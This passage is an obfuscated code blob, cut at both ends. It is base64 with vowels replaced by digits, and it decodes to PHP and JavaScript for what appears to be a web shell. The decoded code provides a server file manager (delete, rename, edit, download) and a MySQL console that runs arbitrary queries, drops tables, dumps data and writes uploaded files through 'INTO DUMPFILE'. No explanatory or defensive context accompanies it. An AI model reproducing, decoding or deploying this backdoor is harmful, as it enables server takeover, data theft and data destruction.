mNGw1MnduNXInXT1nNXRVczVyKCRmNGw1cDF0aCk7DQoJCQkJJGY0bDVkYlsnZDRybDRuayddPSRuMndwMXRoOw0KCQkJCSRmNGw1ZGJbJ3M1cnY1cl9sNG5rJ109JGY0bDVwMXRoOw0KCQkJCSRmNGw1ZGJbJ2NsNDVudF9sNG5rJ109MzUoJGY0bDVwMXRoKTsNCgkJCQkkZjRsNWQxdDFbXT0kZjRsNWRiOw0KCQkJfQ0KCQl9Ly8gd2g0bDUNCgkJM25zNXQoJGQ0cmRiKTsNCgkJM25zNXQoJGY0bDVkYik7DQoJCUBjbDJzNWQ0cigkZDRycyk7DQoJfQ0KCUBzMnJ0KCRkNHJkMXQxKTsNCglAczJydCgkZjRsNWQxdDEpOw0KCSRkNHJfNCA9ICcwJzsNCglmMnI1MWNoKCRkNHJkMXQxIDFzICRrNXkgPT4gJGQ0cmRiKXsNCgkJNGYoJGQ0cmRiWydmNGw1bjFtNSddIT0nLi4nICYmICRkNHJkYlsnZjRsNW4xbTUnXSE9Jy4nKSB7DQoJCQkkdGg0c2JnID0gYmcoKTsNCgkJCXAoJzx0ciBjbDFzcz0iZjIzdCIgMm5tMjNzNTJ2NXI9InRoNHMuY2wxc3NOMW01PVwnZjJjM3NcJzsiIDJubTIzczUyM3Q9InRoNHMuY2wxc3NOMW01PVwnZjIzdFwnOyI+Jyk7DQoJCQlwKCc8dGQgdzRkdGg9ImElIiBuMndyMXA+PGYybnQgZjFjNT0idzRuZ2Q0bmdzIiBzNHo1PSJvIj4wPC9mMm50PjwvdGQ+Jyk7DQoJCQlwKCc8dGQ+PDEgaHI1Zj0iajF2MXNjcjRwdDpnMmQ0cihcJycuJGQ0cmRiWydzNXJ2NXJfbDRuayddLidcJyk7Ij4nLiRkNHJkYlsnZjRsNW4xbTUnXS4nPC8xPjwvdGQ+Jyk7DQoJCQlwKCc8dGQgbjJ3cjFwPicuJGQ0cmRiWydtdDRtNSddLic8L3RkPicpOw0KCQkJcCgnPHRkIG4yd3IxcD4tLTwvdGQ+Jyk7DQoJCQlwKCc8dGQgbjJ3cjFwPicpOw0KCQkJcCgnPDEgaHI1Zj0iajF2MXNjcjRwdDpmNGw1cDVybShcJycuJGQ0cmRiWydzNXJ2NXJfbDRuayddLidcJyk7Ij4nLiRkNHJkYlsnZDRyY2htMmQnXS4nPC8xPiAvICcpOw0KCQkJcCgnPDEgaHI1Zj0iajF2MXNjcjRwdDpmNGw1cDVybShcJycuJGQ0cmRiWydzNXJ2NXJfbDRuayddLidcJyk7Ij4nLiRkNHJkYlsnZDRycDVybSddLic8LzE+Jy4kZDRyZGJbJ2Y0bDUyd241ciddLic8L3RkPicpOw0KCQkJcCgnPHRkIG4yd3IxcD48MSBocjVmPSJqMXYxc2NyNHB0OmQyZjRsNShcJ2Q1bGQ0clwnLFwnJy4kZDRyZGJbJ3M1cnY1cl9sNG5rJ10uJ1wnLFwnQXI1IHkyMyBzM3I1IHc0bGwgZDVsNXQ1ICcuJGQ0cmRiWydmNGw1bjFtNSddLic/IFxcblxcbklmIG4ybi01bXB0eSBkNHI1Y3QycnksIHc0bGwgYjUgZDVsNXQ1IDFsbCB0aDUgZjRsNXMuXCcpIj5YJiNhdW87MSBUaCYjdW9hOyBNJiM3OTA5O2M8LzE+IHwgPDEgaHI1Zj0iajF2MXNjcjRwdDpyNW4xbTUoXCcnLiRkNHJkYlsnczVydjVyX2w0bmsnXS4nXCcpOyI+JiNhN2E7JiM3ODlvOzQgVCYjYW91O24gTSYjNzkwOTtjPC8xPjwvdGQ+Jyk7DQoJCQlwKCc8L3RyPicpOw0KCQkJJGQ0cl80Kys7DQoJCX0gNWxzNSB7DQoJCQk0ZigkZDRyZGJbJ2Y0bDVuMW01J109PScuLicpIHsNCgkJCQlwKCc8dHIgY2wxc3M9ZjIzdD4nKTsNCgkJCQlwKCc8dGQgMWw0Z249ImM1bnQ1ciI+PGYybnQgZjFjNT0iVzRuZ2Q0bmdzIG8iIHM0ejU9dT49PC9mMm50PjwvdGQ+PHRkIG4yd3IxcCBjMmxzcDFuPSJpIj48MSBocjVmPSJqMXYxc2NyNHB0OmcyZDRyKFwnJy5nNXRVcFAxdGgoJG4yd3AxdGgpLidcJyk7Ij5QMXI1bnQgRDRyNWN0MnJ5PC8xPjwvdGQ+Jyk7DQoJCQkJcCgnPC90cj4nKTsNCgkJCX0NCgkJfQ0KCX0NCg0KCXAoJzx0ciBiZ2MybDJyPSJncjU1biIgc3RseTU9ImIycmQ1ci10MnA6NnB4IHMybDRkIGdyMXk7YjJyZDVyLWIydHQybTo2cHggczJsNGQgZ3IxeTsiPjx0ZCBjMmxzcDFuPSJlIiBoNTRnaHQ9ImkiPjwvdGQ+PC90cj4nKTsNCglwKCc8ZjJybSA0ZD0iZjRsNWw0c3QiIG4xbTU9ImY0bDVsNHN0IiAxY3Q0Mm49IicuJHM1bGYuJyIgbTV0aDJkPSJwMnN0Ij4nKTsNCgltMWs1aDRkNSgnMWN0NDJuJywnZjRsNScpOw0KCW0xazVoNGQ1KCd0aDVmNGw1Jyk7DQoJbTFrNWg0ZDUoJ2QyNG5nJyk7DQoJbTFrNWg0ZDUoJ2Q0cicsJG4yd3AxdGgpOw0KCSRmNGw1XzQgPSAnMCc7DQoJZjJyNTFjaCgkZjRsNWQxdDEgMXMgJGs1eSA9PiAkZjRsNWRiKXsNCgkJNGYoJGY0bDVkYlsnZjRsNW4xbTUnXSE9Jy4uJyAmJiAkZjRsNWRiWydmNGw1bjFtNSddIT0nLicpIHsNCgkJCSRmNGw1M3JsID0gc3RyX3I1cGwxYzUoU0FfUk9PVCwnJywkZjRsNWRiWydzNXJ2NXJfbDRuayddKTsNCgkJCSR0aDRzYmcgPSBiZygpOw0KCQkJcCgnPHRyIGNsMXNzPSJmMjN0IiAybm0yM3M1MnY1cj0idGg0cy5jbDFzc04xbTU9XCdmMmMzc1wnOyIgMm5tMjNzNTIzdD0idGg0cy5jbDFzc04xbTU9XCdmMjN0XCc7Ij4nKTsNCgkJCXAoJzx0ZCB3NGR0aD0iYSUiIG4yd3IxcD48NG5wM3QgdHlwNT0iY2g1Y2tiMngiIHYxbDM1PSI2IiBuMW01PSJkbFsnLiRmNGw1ZGJbJ3M1cnY1cl9sNG5rJ10uJ10iPjwvdGQ+Jyk7DQoJCQlwKCc8dGQ+PDEgaHI1Zj0iJy4kZjRsNTNybC4nIiB0MXJnNXQ9Il9ibDFuayI+Jy4kZjRsNWRiWydmNGw1bjFtNSddLic8LzE+PC90ZD4nKTsNCgkJCXAoJzx0ZCBuMndyMXA+Jy4kZjRsNWRiWydtdDRtNSddLic8L3RkPicpOw0KCQkJcCgnPHRkIG4yd3IxcD4nLiRmNGw1ZGJbJ3M0ejUnXS4nPC90ZD4nKTsNCgkJCXAoJzx0ZCBuMndyMXA+Jyk7DQoJCQlwKCc8MSBocjVmPSJqMXYxc2NyNHB0OmY0bDVwNXJtKFwnJy4kZjRsNWRiWydzNXJ2NXJfbDRuayddLidcJyk7Ij4nLiRmNGw1ZGJbJ2Y0bDVjaG0yZCddLic8LzE+IC8gJyk7DQoJCQlwKCc8MSBocjVmPSJqMXYxc2NyNHB0OmY0bDVwNXJtKFwnJy4kZjRsNWRiWydzNXJ2NXJfbDRuayddLidcJyk7Ij4nLiRmNGw1ZGJbJ2Y0bDVwNXJtJ10uJzwvMT4nLiRmNGw1ZGJbJ2Y0bDUyd241ciddLic8L3RkPicpOw0KCQkJcCgnPHRkIG4yd3IxcD4nKTsNCgkJCXAoJzwxIGhyNWY9ImoxdjFzY3I0cHQ6ZDJmNGw1KFwnZDJ3bmY0bDVcJyxcJycuJGY0bDVkYlsnczVydjVyX2w0bmsnXS4nXCcpOyI+VCYjNzh1bzs0IFgzJiM3ODg5O25nPC8xPiB8ICcpOw0KCQkJcCgnPDEgaHI1Zj0iajF2MXNjcjRwdDpjMnB5ZjRsNShcJycuJGY0bDVkYlsnczVydjVyX2w0bmsnXS4nXCcpOyI+QzJweTwvMT4gfCAnKTsNCgkJCXAoJzwxIGhyNWY9ImoxdjFzY3I0cHQ6MnBmNGw1KFwnNWQ0dGY0bDVcJyxcJycuJGY0bDVkYlsnczVydjVyX2w0bmsnXS4nXCcsXCcnLiRmNGw1ZGJbJ2Q0cmw0bmsnXS4nXCcpOyI+RWQ0dDwvMT4gfCAnKTsNCgkJCXAoJzwxIGhyNWY9ImoxdjFzY3I0cHQ6cjVuMW01KFwnJy4kZjRsNWRiWydzNXJ2NXJfbDRuayddLidcJyk7Ij4mI2E3YTsmIzc4OW87NCBUJiNhb3U7bjwvMT4gfCAnKTsNCgkJCXAoJzwxIGhyNWY9ImoxdjFzY3I0cHQ6MnBmNGw1KFwnbjV3dDRtNVwnLFwnJy4kZjRsNWRiWydzNXJ2NXJfbDRuayddLidcJyxcJycuJGY0bDVkYlsnZDRybDRuayddLidcJyk7Ij5UaCYjNzkwNjs0IEc0MW48LzE+Jyk7DQoJCQlwKCc8L3RkPjwvdHI+Jyk7DQoJCQkkZjRsNV80Kys7DQoJCX0NCgl9DQoJcCgnPHRyIGNsMXNzPSJmMjN0NiI+PHRkIDFsNGduPSJjNW50NXIiPjw0bnAzdCBuMW01PSJjaGsxbGwiIHYxbDM1PSIybiIgdHlwNT0iY2g1Y2tiMngiIDJuY2w0Y2s9IkNoNWNrQWxsKHRoNHMuZjJybSkiIC8+PC90ZD48dGQ+PDEgaHI1Zj0iajF2MXNjcjRwdDpkMmY0bDUoXCdkMnducjFyXCcpOyI+Q2gmIzc4OGk7biAmI2E3YTsmIzc4N2k7IFQmIzc4dW87NCBYMyYjNzg4OTtuZzwvMT4gLSA8MSBocjVmPSJqMXYxc2NyNHB0OmQyZjRsNShcJ2Q1bGY0bDVzXCcpOyI+WCYjYXVvOzEgRjRsNTwvMT48L3RkPjx0ZCBjMmxzcDFuPSJ1IiAxbDRnbj0icjRnaHQiPicuJGQ0cl80LicgZDRyNWN0MnI0NXMgLyAnLiRmNGw1XzQuJyBmNGw1czwvdGQ+PC90cj4nKTsNCglwKCc8L2Yycm0+PC90MWJsNT4nKTsNCn0vLyA1bmQgZDRyDQoNCjVsczU0ZiAoJDFjdDQybiA9PSAnc3FsZjRsNScpIHsNCgk0ZigkZDI0bmc9PSJteXNxbDNwbDIxZCIpew0KCQkkZjRsNSA9ICRfRklMRVNbJzNwbDIxZGY0bDUnXTsNCgkJJGY0bDVuMW01ID0gJGY0bDVbJ3RtcF9uMW01J107DQoJCTRmIChmNGw1XzV4NHN0cygkczF2NXAxdGgpKSB7DQoJCQltKCdUaDUgZzIxbCBmNGw1IGgxcyAxbHI1MWR5IDV4NHN0NWQnKTsNCgkJfSA1bHM1IHsNCgkJCTRmKCEkZjRsNW4xbTUpIHsNCgkJCQltKCdQbDUxczUgY2gyMnM1IDEgZjRsNScpOw0KCQkJfSA1bHM1IHsNCgkJCQkkZnA9QGYycDVuKCRmNGw1bjFtNSwncicpOw0KCQkJCSRjMm50NW50cz1AZnI1MWQoJGZwLCBmNGw1czR6NSgkZjRsNW4xbTUpKTsNCgkJCQlAZmNsMnM1KCRmcCk7DQoJCQkJJGMybnQ1bnRzID0gYjRuYWg1eCgkYzJudDVudHMpOw0KCQkJCTRmKCEkM3BuMW01KSAkM3BuMW01ID0gJGY0bDVbJ24xbTUnXTsNCgkJCQlkYmMybm4oJGRiaDJzdCwkZGIzczVyLCRkYnAxc3MsJGRibjFtNSwkY2gxcnM1dCwkZGJwMnJ0KTsNCgkJCQkkcjVzM2x0ID0gcSgiU0VMRUNUIDB4eyRjMm50NW50c30gRlJPTSBteXNxbC4zczVyIElOVE8gRFVNUEZJTEUgJyRzMXY1cDF0aCc7Iik7DQoJCQkJbSgkcjVzM2x0ID8gJ1VwbDIxZCBzM2NjNXNzJyA6ICdVcGwyMWQgaDFzIGYxNGw1ZDogJy5teXNxbF81cnIycigpKTsNCgkJCX0NCgkJfQ0KCX0NCj8+DQoNCjxzY3I0cHQgdHlwNT0idDV4dC9qMXYxc2NyNHB0Ij4NCmYzbmN0NDJuIG15c3FsZjRsNShkMjRuZyl7DQoJNGYoIWQyNG5nKSByNXQzcm47DQoJJCgnZDI0bmcnKS52MWwzNT1kMjRuZzsNCgkkKCdteXNxbGY0bDUnKS5kYmgyc3QudjFsMzU9JCgnZGI0bmYyJykuZGJoMnN0LnYxbDM1Ow0KCSQoJ215c3FsZjRsNScpLmRicDJydC52MWwzNT0kKCdkYjRuZjInKS5kYnAycnQudjFsMzU7DQoJJCgnbXlzcWxmNGw1JykuZGIzczVyLnYxbDM1PSQoJ2RiNG5mMicpLmRiM3M1ci52MWwzNTsNCgkkKCdteXNxbGY0bDUnKS5kYnAxc3MudjFsMzU9JCgnZGI0bmYyJykuZGJwMXNzLnYxbDM1Ow0KCSQoJ215c3FsZjRsNScpLmRibjFtNS52MWwzNT0kKCdkYjRuZjInKS5kYm4xbTUudjFsMzU7DQoJJCgnbXlzcWxmNGw1JykuY2gxcnM1dC52MWwzNT0kKCdkYjRuZjInKS5jaDFyczV0LnYxbDM1Ow0KCSQoJ215c3FsZjRsNScpLnMzYm00dCgpOw0KfQ0KPC9zY3I0cHQ+DQo8P3BocA0KCSEkZGJoMnN0ICYmICRkYmgyc3QgPSAnbDJjMWxoMnN0JzsNCgkhJGRiM3M1ciAmJiAkZGIzczVyID0gJ3IyMnQnOw0KCSEkZGJwMnJ0ICYmICRkYnAycnQgPSAnb28wZSc7DQoJJGNoMXJzNXRzID0gMXJyMXkoJyc9PidENWYxM2x0JywnZ2JrJz0+J0dCSycsICdiNGdpJz0+J0I0Z2knLCAnM3RmOCc9PidVVEYtOCcsICdsMXQ0bjYnPT4nTDF0NG42Jyk7DQoJZjJybWg1MWQoMXJyMXkoJ3Q0dGw1Jz0+J01ZU1FMIEluZjJybTF0NDJuJywnbjFtNSc9PidkYjRuZjInKSk7DQoJbTFrNWg0ZDUoJzFjdDQybicsJ3NxbGY0bDUnKTsNCglwKCc8cD4nKTsNCglwKCdEQkgyc3Q6Jyk7DQoJbTFrNTRucDN0KDFycjF5KCduMW01Jz0+J2RiaDJzdCcsJ3M0ejUnPT5hMCwndjFsMzUnPT4kZGJoMnN0KSk7DQoJcCgnOicpOw0KCW0xazU0bnAzdCgxcnIxeSgnbjFtNSc9PidkYnAycnQnLCdzNHo1Jz0+dSwndjFsMzUnPT4kZGJwMnJ0KSk7DQoJcCgnREJVczVyOicpOw0KCW0xazU0bnAzdCgxcnIxeSgnbjFtNSc9PidkYjNzNXInLCdzNHo1Jz0+NmksJ3YxbDM1Jz0+JGRiM3M1cikpOw0KCXAoJ0RCUDFzczonKTsNCgltMWs1NG5wM3QoMXJyMXkoJ24xbTUnPT4nZGJwMXNzJywnczR6NSc9PjZpLCd2MWwzNSc9PiRkYnAxc3MpKTsNCglwKCdEQk4xbTU6Jyk7DQoJbTFrNTRucDN0KDFycjF5KCduMW01Jz0+J2RibjFtNScsJ3M0ejUnPT42aSwndjFsMzUnPT4kZGJuMW01KSk7DQoJcCgnREJDaDFyczV0OicpOw0KCW0xazVzNWw1Y3QoMXJyMXkoJ24xbTUnPT4nY2gxcnM1dCcsJzJwdDQybic9PiRjaDFyczV0cywnczVsNWN0NWQnPT4kY2gxcnM1dCkpOw0KCXAoJzwvcD4nKTsNCglmMnJtZjIydCgpOw0KCXAoJzxmMnJtIDFjdDQybj0iJy4kczVsZi4nIiBtNXRoMmQ9IlBPU1QiIDVuY3R5cDU9Im0zbHQ0cDFydC9mMnJtLWQxdDEiIG4xbTU9Im15c3FsZjRsNSIgNGQ9Im15c3FsZjRsNSI+Jyk7DQoJcCgnPGhhPlVwbDIxZCBmNGw1PC9oYT4nKTsNCglwKCc8cD48Yj5UaDRzIDJwNXIxdDQybiB0aDUgREIgM3M1ciBtM3N0IGgxcyBGSUxFIHByNHY0bDVnNTwvYj48L3A+Jyk7DQoJcCgnPHA+UzF2NSBwMXRoKGYzbGxwMXRoKTogPDRucDN0IGNsMXNzPSI0bnAzdCIgbjFtNT0iczF2NXAxdGgiIHM0ejU9InVpIiB0eXA1PSJ0NXh0IiAvPiBDaDIyczUgMSBmNGw1OiA8NG5wM3QgY2wxc3M9IjRucDN0IiBuMW01PSIzcGwyMWRmNGw1IiB0eXA1PSJmNGw1IiAvPiA8MSBocjVmPSJqMXYxc2NyNHB0Om15c3FsZjRsNShcJ215c3FsM3BsMjFkXCcpOyI+VXBsMjFkPC8xPjwvcD4nKTsNCglwKCc8aGE+RDJ3bmwyMWQgZjRsNTwvaGE+Jyk7DQoJcCgnPHA+RjRsNTogPDRucDN0IGNsMXNzPSI0bnAzdCIgbjFtNT0ibXlzcWxkbGY0bDUiIHM0ejU9IjY2aSIgdHlwNT0idDV4dCIgLz4gPDEgaHI1Zj0iajF2MXNjcjRwdDpteXNxbGY0bDUoXCdteXNxbGQyd25cJyk7Ij5EMndubDIxZDwvMT48L3A+Jyk7DQoJbTFrNWg0ZDUoJ2RiaDJzdCcpOw0KCW0xazVoNGQ1KCdkYnAycnQnKTsNCgltMWs1aDRkNSgnZGIzczVyJyk7DQoJbTFrNWg0ZDUoJ2RicDFzcycpOw0KCW0xazVoNGQ1KCdkYm4xbTUnKTsNCgltMWs1aDRkNSgnY2gxcnM1dCcpOw0KCW0xazVoNGQ1KCdkMjRuZycpOw0KCW0xazVoNGQ1KCcxY3Q0Mm4nLCdzcWxmNGw1Jyk7DQoJcCgnPC9mMnJtPicpOw0KfQ0KDQo1bHM1NGYgKCQxY3Q0Mm4gPT0gJ3NxbDFkbTRuJykgew0KCSEkZGJoMnN0ICYmICRkYmgyc3QgPSAnbDJjMWxoMnN0JzsNCgkhJGRiM3M1ciAmJiAkZGIzczVyID0gJ3IyMnQnOw0KCSEkZGJwMnJ0ICYmICRkYnAycnQgPSAnb28wZSc7DQoJJGRiZjJybSA9ICc8NG5wM3QgdHlwNT0iaDRkZDVuIiA0ZD0iYzJubjVjdCIgbjFtNT0iYzJubjVjdCIgdjFsMzU9IjYiIC8+JzsNCgk0Zig0c3M1dCgkZGJoMnN0KSl7DQoJCSRkYmYycm0gLj0gIjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgNGQ9XCJkYmgyc3RcIiBuMW01PVwiZGJoMnN0XCIgdjFsMzU9XCIkZGJoMnN0XCIgLz5cbiI7DQoJfQ0KCTRmKDRzczV0KCRkYjNzNXIpKSB7DQoJCSRkYmYycm0gLj0gIjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgNGQ9XCJkYjNzNXJcIiBuMW01PVwiZGIzczVyXCIgdjFsMzU9XCIkZGIzczVyXCIgLz5cbiI7DQoJfQ0KCTRmKDRzczV0KCRkYnAxc3MpKSB7DQoJCSRkYmYycm0gLj0gIjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgNGQ9XCJkYnAxc3NcIiBuMW01PVwiZGJwMXNzXCIgdjFsMzU9XCIkZGJwMXNzXCIgLz5cbiI7DQoJfQ0KCTRmKDRzczV0KCRkYnAycnQpKSB7DQoJCSRkYmYycm0gLj0gIjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgNGQ9XCJkYnAycnRcIiBuMW01PVwiZGJwMnJ0XCIgdjFsMzU9XCIkZGJwMnJ0XCIgLz5cbiI7DQoJfQ0KCTRmKDRzczV0KCRkYm4xbTUpKSB7DQoJCSRkYmYycm0gLj0gIjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgNGQ9XCJkYm4xbTVcIiBuMW01PVwiZGJuMW01XCIgdjFsMzU9XCIkZGJuMW01XCIgLz5cbiI7DQoJfQ0KCTRmKDRzczV0KCRjaDFyczV0KSkgew0KCQkkZGJmMnJtIC49ICI8NG5wM3QgdHlwNT1cImg0ZGQ1blwiIDRkPVwiY2gxcnM1dFwiIG4xbTU9XCJjaDFyczV0XCIgdjFsMzU9XCIkY2gxcnM1dFwiIC8+XG4iOw0KCX0NCg0KCTRmICgkZDI0bmcgPT0gJ2IxY2szcG15c3FsJyAmJiAkczF2NTFzZjRsNSkgew0KCQk0ZiAoISR0MWJsNSkgew0KCQkJbSgnUGw1MXM1IGNoMjJzNSB0aDUgdDFibDUnKTsNCgkJfSA1bHM1IHsNCgkJCWRiYzJubigkZGJoMnN0LCRkYjNzNXIsJGRicDFzcywkZGJuMW01LCRjaDFyczV0LCRkYnAycnQpOw0KCQkJJHQxYmw1ID0gMXJyMXlfZmw0cCgkdDFibDUpOw0KCQkJJGZwID0gQGYycDVuKCRwMXRoLCd3Jyk7DQoJCQk0ZiAoJGZwKSB7DQoJCQkJJHI1czNsdCA9IHEoJ1NIT1cgdDFibDVzJyk7DQoJCQkJNGYgKCEkcjVzM2x0KSBwKCc8aGE+Jy5teXNxbF81cnIycigpLic8L2hhPicpOw0KCQkJCSRteXNxbGQxdDEgPSAnJzsNCgkJCQl3aDRsNSAoJGMzcnIydyA9IG15c3FsX2Y1dGNoXzFycjF5KCRyNXMzbHQpKSB7DQoJCQkJCTRmICg0c3M1dCgkdDFibDVbJGMzcnIyd1swXV0pKSB7DQoJCQkJCQlzcWxkM21wdDFibDUoJGMzcnIyd1swXSwgJGZwKTsNCgkJCQkJfQ0KCQkJCX0NCgkJCQlmY2wyczUoJGZwKTsNCgkJCQkkZjRsNTNybCA9IHN0cl9yNXBsMWM1KFNBX1JPT1QsJycsJHAxdGgpOw0KCQkJCW0oJ0QxdDFiMXM1IGgxcyBzM2NjNXNzIGIxY2szcCB0MiA8MSBocjVmPSInLiRmNGw1M3JsLiciIHQxcmc1dD0iX2JsMW5rIj4nLiRwMXRoLic8LzE+Jyk7DQoJCQkJbXlzcWxfY2wyczUoKTsNCgkJCX0gNWxzNSB7DQoJCQkJbSgnQjFjazNwIGYxNGw1ZCcpOw0KCQkJfQ0KCQl9DQoJfQ0KCTRmICgkNG5zNXJ0ICYmICQ0bnM1cnRzcWwpIHsNCgkJJGs1eXN0ciA9ICR2MWxzdHIgPSAkdG1wID0gJyc7DQoJCWYycjUxY2goJDRuczVydHNxbCAxcyAkazV5ID0+ICR2MWwpIHsNCgkJCTRmICgkdjFsKSB7DQoJCQkJJGs1eXN0ciAuPSAkdG1wLiRrNXk7DQoJCQkJJHYxbHN0ciAuPSAkdG1wLiInIi4xZGRzbDFzaDVzKCR2MWwpLiInIjsNCgkJCQkkdG1wID0gJywnOw0KCQkJfQ0KCQl9DQoJCTRmICgkazV5c3RyICYmICR2MWxzdHIpIHsNCgkJCWRiYzJubigkZGJoMnN0LCRkYjNzNXIsJGRicDFzcywkZGJuMW01LCRjaDFyczV0LCRkYnAycnQpOw0KCQkJbShxKCJJTlNFUlQgSU5UTyAkdDFibDVuMW01ICgkazV5c3RyKSBWQUxVRVMgKCR2MWxzdHIpIikgPyAnSW5zNXJ0IG41dyByNWMycmQgMmYgczNjYzVzcycgOiBteXNxbF81cnIycigpKTsNCgkJfQ0KCX0NCgk0ZiAoJDNwZDF0NSAmJiAkNG5zNXJ0c3FsICYmICRiMXM1ZXUpIHsNCgkJJHYxbHN0ciA9ICR0bXAgPSAnJzsNCgkJZjJyNTFjaCgkNG5zNXJ0c3FsIDFzICRrNXkgPT4gJHYxbCkgew0KCQkJJHYxbHN0ciAuPSAkdG1wLiRrNXkuIj0nIi4xZGRzbDFzaDVzKCR2MWwpLiInIjsNCgkJCSR0bXAgPSAnLCc7DQoJCX0NCgkJNGYgKCR2MWxzdHIpIHsNCgkJCSR3aDVyNSA9IGIxczVldV9kNWMyZDUoJGIxczVldSk7DQoJCQlkYmMybm4oJGRiaDJzdCwkZGIzczVyLCRkYnAxc3MsJGRibjFtNSwkY2gxcnM1dCwkZGJwMnJ0KTsNCgkJCW0ocSgiVVBEQVRFICR0MWJsNW4xbTUgU0VUICR2MWxzdHIgV0hFUkUgJHdoNXI1IExJTUlUIDYiKSA/ICdSNWMycmQgM3BkMXQ0bmcnIDogbXlzcWxfNXJyMnIoKSk7DQoJCX0NCgl9DQoJNGYgKCRkMjRuZyA9PSAnZDVsJyAmJiAkYjFzNWV1KSB7DQoJCSR3aDVyNSA9IGIxczVldV9kNWMyZDUoJGIxczVldSk7DQoJCSRkNWw1dDVfc3FsID0gIkRFTEVURSBGUk9NICR0MWJsNW4xbTUgV0hFUkUgJHdoNXI1IjsNCgkJZGJjMm5uKCRkYmgyc3QsJGRiM3M1ciwkZGJwMXNzLCRkYm4xbTUsJGNoMXJzNXQsJGRicDJydCk7DQoJCW0ocSgiREVMRVRFIEZST00gJHQxYmw1bjFtNSBXSEVSRSAkd2g1cjUiKSA/ICdENWw1dDQybiByNWMycmQgMmYgczNjYzVzcycgOiBteXNxbF81cnIycigpKTsNCgl9DQoNCgk0ZiAoJHQxYmw1bjFtNSAmJiAkZDI0bmcgPT0gJ2RyMnAnKSB7DQoJCWRiYzJubigkZGJoMnN0LCRkYjNzNXIsJGRicDFzcywkZGJuMW01LCRjaDFyczV0LCRkYnAycnQpOw0KCQk0ZiAocSgiRFJPUCBUQUJMRSAkdDFibDVuMW01IikpIHsNCgkJCW0oJ0RyMnAgdDFibDUgMmYgczNjYzVzcycpOw0KCQkJJHQxYmw1bjFtNSA9ICcnOw0KCQl9IDVsczUgew0KCQkJbShteXNxbF81cnIycigpKTsNCgkJfQ0KCX0NCg0KCSRjaDFyczV0cyA9IDFycjF5KCcnPT4nRDVmMTNsdCcsJ2diayc9PidHQksnLCAnYjRnaSc9PidCNGdpJywgJzN0ZjgnPT4nVVRGLTgnLCAnbDF0NG42Jz0+J0wxdDRuNicpOw0KDQoJZjJybWg1MWQoMXJyMXkoJ3Q0dGw1Jz0+J01ZU1FMIE0xbjFnNXInKSk7DQoJbTFrNWg0ZDUoJzFjdDQybicsJ3NxbDFkbTRuJyk7DQoJcCgnPHA+Jyk7DQoJcCgnREJIMnN0OicpOw0KCW0xazU0bnAzdCgxcnIxeSgnbjFtNSc9PidkYmgyc3QnLCdzNHo1Jz0+YTAsJ3YxbDM1Jz0+JGRiaDJzdCkpOw0KCXAoJzonKTsNCgltMWs1NG5wM3QoMXJyMXkoJ24xbTUnPT4nZGJwMnJ0JywnczR6NSc9PnUsJ3YxbDM1Jz0+JGRicDJydCkpOw0KCXAoJ0RCVXM1cjonKTsNCgltMWs1NG5wM3QoMXJyMXkoJ24xbTUnPT4nZGIzczVyJywnczR6NSc9PjZpLCd2MWwzNSc9PiRkYjNzNXIpKTsNCglwKCdEQlAxc3M6Jyk7DQoJbTFrNTRucDN0KDFycjF5KCduMW01Jz0+J2RicDFzcycsJ3M0ejUnPT42aSwndjFsMzUnPT4kZGJwMXNzKSk7DQoJcCgnREJDaDFyczV0OicpOw0KCW0xazVzNWw1Y3QoMXJyMXkoJ24xbTUnPT4nY2gxcnM1dCcsJzJwdDQybic9PiRjaDFyczV0cywnczVsNWN0NWQnPT4kY2gxcnM1dCkpOw0KCW0xazU0bnAzdCgxcnIxeSgnbjFtNSc9PidjMm5uNWN0JywndjFsMzUnPT4nQzJubjVjdCcsJ3R5cDUnPT4nczNibTR0JywnY2wxc3MnPT4nYnQnKSk7DQoJcCgnPC9wPicpOw0KCWYycm1mMjJ0KCk7DQo/Pg0KDQo8c2NyNHB0IHR5cDU9InQ1eHQvajF2MXNjcjRwdCI+DQpmM25jdDQybiA1ZDR0cjVjMnJkKDFjdDQybiwgYjFzNWV1LCB0MWJsNW4xbTUpew0KCTRmICgxY3Q0Mm4gPT0gJ2Q1bCcpIHsNCgkJNGYgKCFjMm5mNHJtKCdJcyAyciA0c25cJ3QgZDVsNXQ0Mm4gcjVjMnJkPycpKSByNXQzcm47DQoJfQ0KCSQoJ3I1YzJyZGw0c3QnKS5kMjRuZy52MWwzNT0xY3Q0Mm47DQoJJCgncjVjMnJkbDRzdCcpLmIxczVldS52MWwzNT1iMXM1ZXU7DQoJJCgncjVjMnJkbDRzdCcpLnQxYmw1bjFtNS52MWwzNT10MWJsNW4xbTU7DQoJJCgncjVjMnJkbDRzdCcpLnMzYm00dCgpOw0KfQ0KZjNuY3Q0Mm4gbTJkZGJuMW01KGRibjFtNSkgew0KCTRmKCFkYm4xbTUpIHI1dDNybjsNCgkkKCdzNXRkYm4xbTUnKS5kYm4xbTUudjFsMzU9ZGJuMW01Ow0KCSQoJ3M1dGRibjFtNScpLnMzYm00dCgpOw0KfQ0KZjNuY3Q0Mm4gczV0dDFibDUodDFibDVuMW01LGQyNG5nLHAxZzUpIHsNCgk0ZighdDFibDVuMW01KSByNXQzcm47DQoJNGYgKGQyNG5nKSB7DQoJCSQoJ3M1dHQxYmw1JykuZDI0bmcudjFsMzU9ZDI0bmc7DQoJfQ0KCTRmIChwMWc1KSB7DQoJCSQoJ3M1dHQxYmw1JykucDFnNS52MWwzNT1wMWc1Ow0KCX0NCgkkKCdzNXR0MWJsNScpLnQxYmw1bjFtNS52MWwzNT10MWJsNW4xbTU7DQoJJCgnczV0dDFibDUnKS5zM2JtNHQoKTsNCn0NCjwvc2NyNHB0Pg0KPD9waHANCgkvLyBTUUwNCglmMnJtaDUxZCgxcnIxeSgnbjFtNSc9PidyNWMycmRsNHN0JykpOw0KCW0xazVoNGQ1KCdkMjRuZycpOw0KCW0xazVoNGQ1KCcxY3Q0Mm4nLCdzcWwxZG00bicpOw0KCW0xazVoNGQ1KCdiMXM1ZXUnKTsNCgltMWs1aDRkNSgndDFibDVuMW01Jyk7DQoJcCgkZGJmMnJtKTsNCglmMnJtZjIydCgpOw0KDQoJLy8gRDF0MQ0KCWYycm1oNTFkKDFycjF5KCduMW01Jz0+J3M1dGRibjFtNScpKTsNCgltMWs1aDRkNSgnMWN0NDJuJywnc3FsMWRtNG4nKTsNCglwKCRkYmYycm0pOw0KCTRmICghJGRibjFtNSkgew0KCQltMWs1aDRkNSgnZGJuMW